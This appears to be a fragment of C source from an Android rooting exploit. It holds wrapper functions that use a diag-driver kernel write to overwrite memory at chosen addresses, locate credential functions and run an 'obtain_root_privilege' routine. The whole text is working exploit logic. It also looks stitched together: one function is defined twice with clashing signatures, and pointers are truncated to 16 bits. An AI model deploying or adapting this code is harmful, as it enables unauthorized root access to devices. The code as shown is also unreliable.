static bool find_with_diag_exploit(unsigned int ptmx_mmap_address) { struct diag_values injection_data; injection_data.address = ptmx_mmap_address; injection_data.value = (uint16_t)&ptmx_mmap; return diag_run_exploit(&injection_data, 1, find_creds_functions_with_mmap, NULL); }
static bool attempt_diag_exploit(unsigned long int address) { struct diag_values injection_data; injection_data.address = address; injection_data.value = (uint16_t)&obtain_root_privilege; return diag_run_exploit(&injection_data, 1, run_obtain_root_privilege, NULL); }
static bool attempt_diag_exploit(unsigned long int address, unsigned long int write_value, callback_info_t *info) { struct diag_values injection_data; if (write_value > (uint16_t)-1) { return false; } injection_data.address = address; injection_data.value = (uint16_t)write_value; return diag_run_exploit(&injection_data, 1, &run_callback, info); }